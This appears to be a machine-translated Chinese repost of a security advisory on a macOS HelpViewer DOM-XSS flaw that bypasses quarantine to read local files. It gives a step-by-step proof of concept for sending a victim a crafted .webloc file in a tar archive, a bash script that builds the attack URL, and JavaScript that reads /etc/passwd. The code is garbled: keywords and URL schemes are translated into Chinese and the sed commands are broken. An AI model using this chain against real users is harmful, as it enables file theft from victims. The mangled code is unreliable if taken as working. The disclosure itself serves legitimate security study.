javascript读取本地文件-MacOSX 中存在 Javascript 沙箱绕过漏洞,可导致任意文件读取!

2023-09-02 0 8,514 百度已收录

漏洞详情

▼▼▼

MacOSX 中存在一个漏洞,允许攻击者绕过 Apple 的隔离机制,不受任何限制地执行任意 Javascript 代码

Apple的隔离机制的原理是对下载的文件设置扩展属性,以便系统可以在受限的环境中打开或执行此类文件(从下载的存档文件或图像中提取的文件也适合此类场景)。 举个反例,孤立的html文件很难加载本地资源。

该漏洞存在于 html 文件中,该文件是 MacOSX 内核的一部分,并且容易受到基于 DOM 的 XSS 攻击,导致在(不受限制的)上下文中执行任意 Javascript 命令。

演示视频

▼▼▼

该文件的具体路径为:

“/System/Library/CoreServices/HelpViewer.app/Contents/Resources/rhtmlPlayer.html”,该文件包含以下代码

10

11

12

13

14

15

16

17 号

javascript读取本地文件-MacOSX 中存在 Javascript 沙箱绕过漏洞,可导致任意文件读取!

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

javascript读取本地文件-MacOSX 中存在 Javascript 沙箱绕过漏洞,可导致任意文件读取!

34

简而言之,此代码从“rhtml”查询字符串参数中提取 url 地址,向该地址发出请求,并将响应数据作为 JavaScript 代码执行。

此代码包含两段不同的基于 DOM 的 XSS 代码。

第一段代码位于 loadLocStrings() 函数内部,该函数创建一个 SCRIPT 元素,其中“rhtml”参数作为“src”属性。

第二段代码位于init()函数中,使用“rhtml”参数发起ajax调用,然后将响应数据直接传递给eval()进行处理。

这样做的结果是相同的加载执行了两次。

攻击者只要提供包含恶意数据的uri,他也可以控制响应数据,从而控制单词的执行。

攻击者可以使用 .webloc 文件来利用此漏洞。 一般此类文件都包含url地址,当Safari打开此类文件时javascript读取本地文件,它们会手动加载这个url地址。

攻击者可以构造一个 .webloc 文件,诱导受害者打开该文件,然后在受害者的主机上执行广泛权限的 javascript 命令。

由于 .webloc 文件也使用扩展属性来存储数据,因此攻击者需要将此类文件存储在 tar 存档中并将其发送给受害者(或支持扩展属性的其他文件)。

概念验证

▼▼▼

为了重现这个错误,我们需要执行以下操作:

1. 创建一个在目标上执行的 javascript 文件。

2.使用base64对文件内容进行编码。

3.将其编码为“uriComponent(uriComponent)”(例如我们可以使用encodeURIComponent js函数来完成此任务)。

javascript读取本地文件-MacOSX 中存在 Javascript 沙箱绕过漏洞,可导致任意文件读取!

4.使用这条数据构造一个uri,如下所示:

数据:文本/纯文本;base64,

5. 在开头添加以下字符串:

文件:///System/Library/CoreServices/HelpViewer.app/Contents/Resources/rhtmlPlayer.html?rhtml=

6.使用Safari打开该地址。

7. 将其保存为书签。

8.将书签拖放到Finder中(此时会创建一个.webloc文件,如果扩展名不是.webloc,需要重命名为正确的扩展名)。

9. 创建包含 .webloc 文件的 tar 存档。

10. 将存档文件发送给受害人。

需要注意的是,受限于rhtmlPlayer.html的处理流程,为了访问本地资源,我们构造的javascript代码第一行必须是:document.getElementsByTagName("base")[0].href=" ”。

我们可以使用以下 bash 脚本将 javascript 文件转换为最终可用的“文件”url 地址:

10

11

12

13

#!/bin/bash

BASEURL="文件:///System/Library/CoreServices/HelpViewer.app/Contents/Resources/rhtmlPlayer.html?rhtml="

BASEJS="(function(){document.getElementsByTagName('base')[0].href='';if('_'inwindow)return;window._=1;"

DATAURI =“数据:文本/纯文本;base64,”

JSFILE=$1

如果["$JSFILE"=""];那么

回显“用量:$0”

出口1

JS=$BASEJS`cat$JSFILE`"})();"

ENCJS=`echo -n $JS|base64|sed's/=/%3D/g'|sed's/+/%2F/g'|sed's///%2B/g'`

URL="$BASEURL""$DATAURI""$ENCJS"

echo -ne "将下面的网址粘贴到 Safari 的网址栏:n33[33m$URL33[0mn"

使用以下 JavaScript 代码,我们可以在受害者主机上显示“/etc/passwd”文件的内容:

xhr=newXMLHttpRequest();

xhr.open("GET","/etc/passwd",true);

xhr.onreadystatechange=函数(){

if(xhr.readyState==4){

警报(xhr.responseText);

};

xhr。 发送();

需要注意的是,只有Safari可以通过ajax成功加载本地资源(Chrome和Firefox不能)。 这对我们来说不是问题,因为在此漏洞利用过程中只有 Safari 会打开 .webloc 文件。

评论

▼▼▼

在撰写本文时,该漏洞已在新版本的 MacOSX High Sierra 中悄悄修补javascript读取本地文件,因此苹果的更新日志中并未提及该漏洞。

Apple 没有为此漏洞分配 CVE 编号。

解决方案

▼▼▼

请更新至MacOSXHighSierra,或删除rhtmlPlayer.html以修复此漏洞。

漏洞状态

▼▼▼

Securiteam 安全披露计划已在以下位置公布了该漏洞: 。

如果你想了解近期最热门的安全新闻,就看这里!

▼▼▼

收藏 (0) 打赏

感谢您的支持,我会继续努力的!

打开微信/支付宝扫一扫,即可进行扫码打赏哦,分享从这里开始,精彩与您同在
点赞 (0)

悟空资源网 javascript javascript读取本地文件-MacOSX 中存在 Javascript 沙箱绕过漏洞,可导致任意文件读取! https://www.wkzy.net/game/190727.html

常见问题

相关文章

官方客服团队

为您解决烦忧 - 24小时在线 专业服务